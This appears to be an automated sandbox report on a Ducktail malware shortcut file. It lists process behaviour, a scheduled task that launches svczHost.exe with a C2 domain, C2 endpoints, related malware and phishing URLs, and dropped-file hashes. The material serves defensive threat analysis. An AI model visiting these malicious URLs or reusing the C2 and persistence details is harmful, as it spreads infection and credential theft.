                                                                                                                      • Execution Graph export aborted for target myRdpService.exe, PID 8944 because there are no executed function
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 1012 because it is empty
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 3348 because it is empty
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 4660 because it is empty
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 5152 because it is empty
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 7764 because it is empty
                                                                                                                      • Execution Graph export aborted for target powershell.exe, PID 9372 because it is empty
                                                                                                                      • Execution Graph export aborted for target svczHost.exe, PID 9528 because there are no executed function
                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                      • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                      • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                      • VT rate limit hit for: 4YgQ2xN41W.lnk

                                                                                                                      Simulations

                                                                                                                      Behavior and APIs

                                                                                                                      TimeTypeDescription
                                                                                                                      05:27:11API Interceptor3503x Sleep call for process: powershell.exe modified
                                                                                                                      05:27:34API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                                      05:28:46API Interceptor1x Sleep call for process: MpCmdRun.exe modified
                                                                                                                      05:29:12API Interceptor17x Sleep call for process: myRdpService.exe modified
                                                                                                                      11:27:58Task SchedulerRun new task: zServicecakoi10 path: C:\Windows\Temp\svczHost.exe s>cakoi10 uyt1n8ded9fb380.com

                                                                                                                      Joe Sandbox View / Context

                                                                                                                      IPs

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      104.21.86.219O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      aQuwmiym51.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      U82W1yZAYQ.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      About-Us.docx lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      K05MQ5BcC8.lnkGet hashmaliciousUnknownBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      eQwUFcwrXk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      Meeting-Registration pdf lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      K9ZFXlZRuI.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      U7LTwStlEf.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • uyt1n8ded9fb380.com/api/check
                                                                                                                      206.206.126.252EERNI7eIS7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      cOOhDuNWt7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      gW6FHWNFzR.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      U82W1yZAYQ.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      ZGMW2wgPzY.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      z0gG2GA9vG.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      About-Us.docx lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws
                                                                                                                      Job-Description pdf lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252:8008/client/ws

                                                                                                                      Domains

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      uyt1n8ded9fb380.comEERNI7eIS7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      cOOhDuNWt7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      aQuwmiym51.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      gW6FHWNFzR.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      U82W1yZAYQ.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      ZGMW2wgPzY.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      z0gG2GA9vG.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      About-Us.docx lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      raw.githubusercontent.comSecuriteInfo.com.Win32.MalwareX-gen.20028.17631.exeGet hashmaliciousAsyncRATBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      List Furniture.batGet hashmaliciousPython Stealer, BraodoBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      BB.batGet hashmaliciousBraodoBrowse
                                                                                                                      • 185.199.108.133
                                                                                                                      yuki.exeGet hashmaliciousLuna StealerBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      Bank Information Details.batGet hashmaliciousLodaRAT, XRedBrowse
                                                                                                                      • 185.199.109.133
                                                                                                                      meN9qeS2DE.exeGet hashmaliciousXWormBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      SecuriteInfo.com.Heur.22899.6422.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      SecuriteInfo.com.Heur.22899.6422.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      company profile and iems .vbsGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.111.133
                                                                                                                      https://raw.githubusercontent.com/EthanBrooks1955/2x4Q/main/OCPEC.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.111.133

                                                                                                                      ASNs

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      CLOUDFLARENETUSEERNI7eIS7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.67.137.62
                                                                                                                      file.exeGet hashmaliciousLummaC, Stealc, VidarBrowse
                                                                                                                      • 172.67.133.135
                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                      • 104.21.5.155
                                                                                                                      http://laughterchefs.ru/dotGet hashmaliciousUnknownBrowse
                                                                                                                      • 188.114.96.3
                                                                                                                      cOOhDuNWt7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 162.159.61.3
                                                                                                                      O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      https://nvcourts.gov/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 104.17.25.14
                                                                                                                      SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 172.64.41.3
                                                                                                                      https://www.capcut.com/download-guidance?download_url=https%3A%2F%2Flf16-capcut.faceulv.com%2Fobj%2Fcapcutpc-packages-us%2Finstaller%2Fcapcut_capcutpc_0_1.2.6_installer.exeGet hashmaliciousUnknownBrowse
                                                                                                                      • 172.64.41.3
                                                                                                                      https://support-facebook.kb.help/your-facebook-account-has-been-restricted/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 104.16.123.96
                                                                                                                      HYPEENT-SJUSEERNI7eIS7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      cOOhDuNWt7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      gW6FHWNFzR.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      U82W1yZAYQ.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      ZGMW2wgPzY.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      z0gG2GA9vG.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      About-Us.docx lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      Job-Description pdf lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 206.206.126.252
                                                                                                                      FASTLYUShttps://support-facebook.kb.help/your-facebook-account-has-been-restricted/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 151.101.1.140
                                                                                                                      https://yo2f2eetmf62.freewebhostmost.com#faren.esau@media24.comGet hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 151.101.66.137
                                                                                                                      Csc-File-260593301.pdfGet hashmaliciousUnknownBrowse
                                                                                                                      • 151.101.2.137
                                                                                                                      http://cgi-wsc.alfahosting.de/extras/public/photos.cls/selection/addAll?cc=0.653810755815357&accountId=AAHS10INX3Z1&filter=&redirectUrl=https://panimex.cl/158983/secure-redirect#jacquie.treagus+csc.gov.auGet hashmaliciousUnknownBrowse
                                                                                                                      • 151.101.2.137
                                                                                                                      https://secured-login.net/XdXJqsPWh0dHaBzOi8vc2vVjdXJluuZC1stb2dpbi5uaZXwQvcGFnZXMvYzM5NTVimMWM0OGEmZW1haWxfdGVtcGxhdGVfaWQ9NzUwNDcyOCZhY3Rpb249cHJldmlldyZ1c2VyX2lkPTk3NjU4ODMxGet hashmaliciousKnowBe4Browse
                                                                                                                      • 199.232.196.193
                                                                                                                      ) wavr3e.htmGet hashmaliciousHtmlDropper, HTMLPhisherBrowse
                                                                                                                      • 151.101.2.137
                                                                                                                      Completed 17560_Steamsolutions. 401(k) Profit Sharing Plan_Amendment.msgGet hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 151.101.65.229
                                                                                                                      https://u1427642.ct.sendgrid.net/ss/c/u001.dS8G1M7FczMLvTWQLM0hXeVYSu4GCxuafmO7h_Bw2esQpGbez8XUw9Q0m4bsMiuQ/4b9/cYMhiTcESBClGxFvQFyo6w/h1/h001.qb3pk5M-xBAcefw259VDHWChRDuHJhqRctZ04Zdw5cs#RYW5uYS5wZXJyeUBoaWxjb3JwLmNvbQ==Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 151.101.1.229
                                                                                                                      https://6n95d.outouncip.com/ZXvIWsw/Get hashmaliciousUnknownBrowse
                                                                                                                      • 151.101.1.108
                                                                                                                      https://app.seesaw.me/pages/shared_item?item_id=item.f55136ca-7b36-4379-9b77-58e407d2ea30&share_token=MZGyiosGTEy6zbWQfAekIw&mode=shareGet hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 151.101.2.217

                                                                                                                      JA3 Fingerprints

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      3b5074b1b5d032e5620f69f9f700ff0eEERNI7eIS7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      cOOhDuNWt7.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      monthly-eStatementForum120478962.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      O5PR3i6ILA.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      monthly-eStatementForum120478962.Client.exeGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      https://support-facebook.kb.help/your-facebook-account-has-been-restricted/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      aQuwmiym51.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      gW6FHWNFzR.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      U82W1yZAYQ.lnkGet hashmaliciousDucktailBrowse
                                                                                                                      • 104.21.86.219
                                                                                                                      37f463bf4616ecd445d4a1937da06e19Rechnung_Datum_November 24_6957.jsGet hashmaliciousScreenConnect ToolBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      Componente_Firma_3.0.14_x86_BUNDLE.exeGet hashmaliciousSTRRATBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      kWeHSi4zZT.xlsGet hashmaliciousUnknownBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      GRA5y64OJC.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      X7sazE1mXC.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      lIocM276SA.exeGet hashmaliciousPureCrypter, LummaC, Amadey, LummaC Stealer, MicroClip, StealcBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      Bank Information Details.batGet hashmaliciousLodaRAT, XRedBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      Anfrage244384.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                      • 185.199.110.133
                                                                                                                      Letter of Intent (LOI) For the Company November 2024 PDF.pif.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                                                      • 185.199.110.133

                                                                                                                      Dropped Files

                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                      C:\Windows\System32\rfxvmt.dllfile.exeGet hashmaliciousUnknownBrowse
                                                                                                                        67065b4c84713_Javiles.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                          file.exeGet hashmaliciousUnknownBrowse
                                                                                                                            SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                              SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                hloRQZmlfg.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                  file.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                    file.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                      file.exeGet hashmaliciousRDPWrap ToolBrowse
                                                                                                                                        file.exeGet hashmaliciousLummaC, RDPWrap Tool, LummaC Stealer, VidarBrowse

                                                                                                                                          Created / dropped Files

                                                                                                                                          C:\ProgramData\Microsoft\Network\Downloader\edb.log

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):1310720
                                                                                                                                          Entropy (8bit):0.13581192378066617
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:384:mJHL7HbahIfcjcidIiBysHciXBs78MmhRht43mKdyrf6YM5T:mJP74rzc8Myr43mNrf6YM5T
                                                                                                                                          MD5:BCD832EBEAE5A0776CE9170D6C827CD1
                                                                                                                                          SHA1:A43B996493CBA3078F5665C92228F863925A465D
                                                                                                                                          SHA-256:CE022AC82E178062D531611EBB4CA32E6A7A3A996AC5D5386499B6CAF6BD51F4
                                                                                                                                          SHA-512:D690FDE1493B74989911C1AF39CFC266FEB1AE291D0B4D17C290DB4C7816B2F94CBE1C1FF4F53198035FD4A7530FFA44BD1C9A8B11160B1BAF9BB6E86499C6BE
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:...........@..@.3...{g..*...yo.........<.....).*9...y..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................;..........v[.2}c}c.#.........`h.d...............h.<.....6.:......p..*9...y..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

                                                                                                                                          C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                          File Type:Extensible storage engine DataBase, version 0x620, checksum 0x011c7ca5, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):1048576
                                                                                                                                          Entropy (8bit):0.8698272694692976
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:1536:rSB2qSB2gSjlK/LfDalKohVF8/bGLBSBLil2d/3Cr5DHzk/3A5v7GoCnLKxKHKrx:rapaQK0yfOD8F31Xw
                                                                                                                                          MD5:055EA96311FF5549A65ECC793D0D0CAC
                                                                                                                                          SHA1:884055824407C8BA8098FF6D45570A9C64787DCB
                                                                                                                                          SHA-256:F985DC1A8426370AF0D7980088E6475C19B7D9F932C57751C13B72282C07D7B0
                                                                                                                                          SHA-512:715CC2B01441896AFFF48319AC1F28BCDE2346EC21A5A0B2C5AEEB0E984AF65975976C1BF45CB3320DFE310EC986ED02A43632CD2EFDE6260B3D5147A158CE89
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:..|.... ................p..*9...y........................0..........|)."....|..h.2...........................).*9...y..........................................................................................................bJ......n....@...................................................................................................... ........3...{g.....................................................................................................................................................................................................................................E2.,"....|.V................p..."....|...........................#......h.2.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                          C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\svchost.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):16384
                                                                                                                                          Entropy (8bit):0.08193829958975707
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:Yu4vtojZqBj4i4uRFE5/ll/ZF2ollo0lJlbxvws:0+Kj3LRi5/llRFDL
                                                                                                                                          MD5:16032E699695454AAEF54DAE430B2E70
                                                                                                                                          SHA1:E9A78381BF1FD759BF635933273A4ED9FCE626FC
                                                                                                                                          SHA-256:4D7E40636A205FFC48D15F2B76B9827C45BBCB35A6ABDB8A0187662B3D421484
                                                                                                                                          SHA-512:D5561B4A848AB49C3DFED5A554D29D8D1F7C01A9058597F91444550F938D97DD94B39FCECFDFD30754970EF2A5C457B513D713A1DD5F21FEDCCBD8C1278AC930
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:E..$....................................*9...y.."....|.......|)..............|)......|)..C.t.....|)O................p..."....|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                          C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          File Type:SQLite 3.x database, last written using SQLite version 3035004, file counter 33, database pages 17, cookie 0x5, schema 4, UTF-8, version-valid-for 33
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):69632
                                                                                                                                          Entropy (8bit):4.361000445258549
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:384:eeETh+tEL38/GGN5ptmGQen3xx2ZszKhivC5vxwRv0ZsLRGV:zclGpBgZs/l0ZsLU
                                                                                                                                          MD5:5A525842D38222F2FD0B2D241050D119
                                                                                                                                          SHA1:F80456EB2F68D16EF375D5C38D2415643A9A3999
                                                                                                                                          SHA-256:E0880BE9CD10EA5FA38CD17761322A73539080CDD2CE27217BFAC2429A2A5F80
                                                                                                                                          SHA-512:905FB9394AD5807A40E8E4B1B77460B31EF04AAD383E7D08A0397ACF6673876D39BDA5B24F22261EFC251D7EB47049F2A7E9D4949B7DB098E7EA17EF59FBCD74
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:SQLite format 3......@ ...!...................................................................!..O|......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                          C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          File Type:SQLite Rollback Journal
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):8720
                                                                                                                                          Entropy (8bit):3.48423325669509
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:48:7M1Oiol1xCol1sol1Q2iolVpiolsol1Nol1Aiol1fOiol1fEMol1C8ol1l5iolBi:7bXppFQPzVn9IVXEBodRBkE
                                                                                                                                          MD5:B618CAA0DFDEBEA258AF66D25245BE4A
                                                                                                                                          SHA1:A6B1E9E765733AC2AAC8EC908A76C989F1521B9C
                                                                                                                                          SHA-256:9DB082B597BBF0CED5002C541A1B64CB7DAAB2A50461A06460661FB9D1CD1B52
                                                                                                                                          SHA-512:237EE5C4132780D5CD5452C237D1918402E19276868032C8C339C3464BD8705DD72A6B14E4EA67AAE6AD14AEC58EDCDDC6BB71AB555F50CCF9F70A2F87E4A908
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:.... .c.....@.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................y...g..m...../.g.......~...r......................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\TESTING

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):4
                                                                                                                                          Entropy (8bit):0.8112781244591328
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:3:e:e
                                                                                                                                          MD5:DC84B0D741E5BEAE8070013ADDCC8C28
                                                                                                                                          SHA1:802F4A6A20CBF157AAF6C4E07E4301578D5936A2
                                                                                                                                          SHA-256:81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
                                                                                                                                          SHA-512:65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:....

                                                                                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\SOPHIA.json

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          File Type:JSON data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):945
                                                                                                                                          Entropy (8bit):5.065765600792955
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:12:YFqxBo5/22502+Otv22E3CyMCV+t8oxwZKg2Ak36SK/0igly8jkE5ksoJSnONs:YFug/2NO2LSZCgq+/URAjzROG
                                                                                                                                          MD5:98D574F48DF0CBBD86CD0D1E154A5951
                                                                                                                                          SHA1:EE78CEBC519CF7CC4C825D2C0029E54EBA9F15E3
                                                                                                                                          SHA-256:740E59C5EBB9FBA98ED144B64643AA3CD633D79FA38564EC1F5AE0D1C9C32D42
                                                                                                                                          SHA-512:0BD84DD5ED79EB29562BB5F3B27F6555F8CA636506F3A6B0B48683516B44480918C56E535C983D8782D64A7740242B4A5621C12F3CB06C99F3F761EDE3E04754
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1731061648000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"0353a8d4cbb1fc6eab3151e24b9d1c03","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1725958090000},{"id":"Edit_InApp_Aug2020","info":{"dg":"6c845701913dc07a142631007125304a","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":1725958090000},{"id":"DC_Reader_RHP_Banner","info":{"dg":"9a041f338931f9aaad7d5f13d6917eef","sid":"DC_Reader_RHP_Banner"},"mimeType":"file","size":1395,"ts":1725958090000},{"id":"DC_Reader_Upsell_Cards","info":{"dg":"e4e8b9846fec296de87fec860fc692f8","sid":"DC_Reader_Upsell_Cards"},"mimeType":"file","size":286,"ts":1725958090000},{"id":"DC_Reader_RHP_Retention","info":{"dg":"ac64b04ece130274a3be222dc51bdd30","sid":"DC_Reader_RHP_Retention"},"mimeType":"file","size":287,"ts":1725958090000}],"g_info":{"Version":"0.0.0.1"}}

                                                                                                                                          C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):40393
                                                                                                                                          Entropy (8bit):5.518083145564749
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:384:K7X4oyVFMqHBp352+2ohPS26pV/6YY7seH2pYNg7y:KT4oyVFMwBF5P1dS26p0hfCYyu
                                                                                                                                          MD5:6D56FB2982900782A29E0FB1AAE147F3
                                                                                                                                          SHA1:842B5F47E3247234910E569EB84ADD614363EB30
                                                                                                                                          SHA-256:EDDE336C23AB2452C389BA432B1F2B22C4C26B3A294E02360C65E96EF01E23B6
                                                                                                                                          SHA-512:CFCED69A27AC0B234630B782494266E6B240F53CB7D03E38E06DBF98BD4FE297CE6FF336B646F4BD4C7B1F06D8106F6B4E43AFF7AF5EF0D3D35EA7F9D0494179
                                                                                                                                          Malicious:false
                                                                                                                                          Preview:4.241.93.FID.2:o:........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.107.FID.2:o:........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.103.FID.2:o:........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.116.FID.2:o:........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.75.FID.2:o:........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.89.FID.2:o:........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.85.FID.2:o:........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.98.FID.2:o:........:F:Arial-BoldItalicMT.P:Arial Bold Italic.L:$.........................."F:Arial.#.91.FID.2:o:........:F:Arial-Black.P:Arial Black.L:-.........................."F:Arial Black.#.103.FID.2:o:........:F:Bahnschrift.P:Bahnschrift Light.L:&...............,.........."F:Bahnschrift Light.#.

                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                                                          Download File
                                                                                                                                          Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          File Type:data
                                                                                                                                          Category:dropped
                                                                                                                                          Size (bytes):20051
                                                                                                                                          Entropy (8bit):5.024314565257015
                                                                                                                                          Encrypted:false
                                                                                                                                          SSDEEP:384:KiQ0HzAF1FXX359ib4DVVHWrxpUUpXoCwiopbjvwRjdvRlYfWkib45OvQJvOjJx:KinHzwbH3FVVHWrxpUUpXoCwiopbjoRd
                                                                                                                                          MD5:B5DB685AC5E98A2113E1C2A8E527EAEF
                                                                                                                                          SHA1:C537021918301E68B38AEC4FD24C4D2EE8471A87
                                                                                                                                          SHA-256:F0619199122346C9708E93301C424A8973C6274F18115E1E1DD7C3DA1C14EB0D
                                                                                                                                          SHA-512:C1946C7A30129D644B8959A0033BF6AA279C1A26EC72C349AD679AD1DD6574D6D4EA7C4BCF9D2437A37A7F33C42640DB4AFA74FADD5BA5DDFCFA1624B607EBBB
                                                                                                                                          Malicious:false
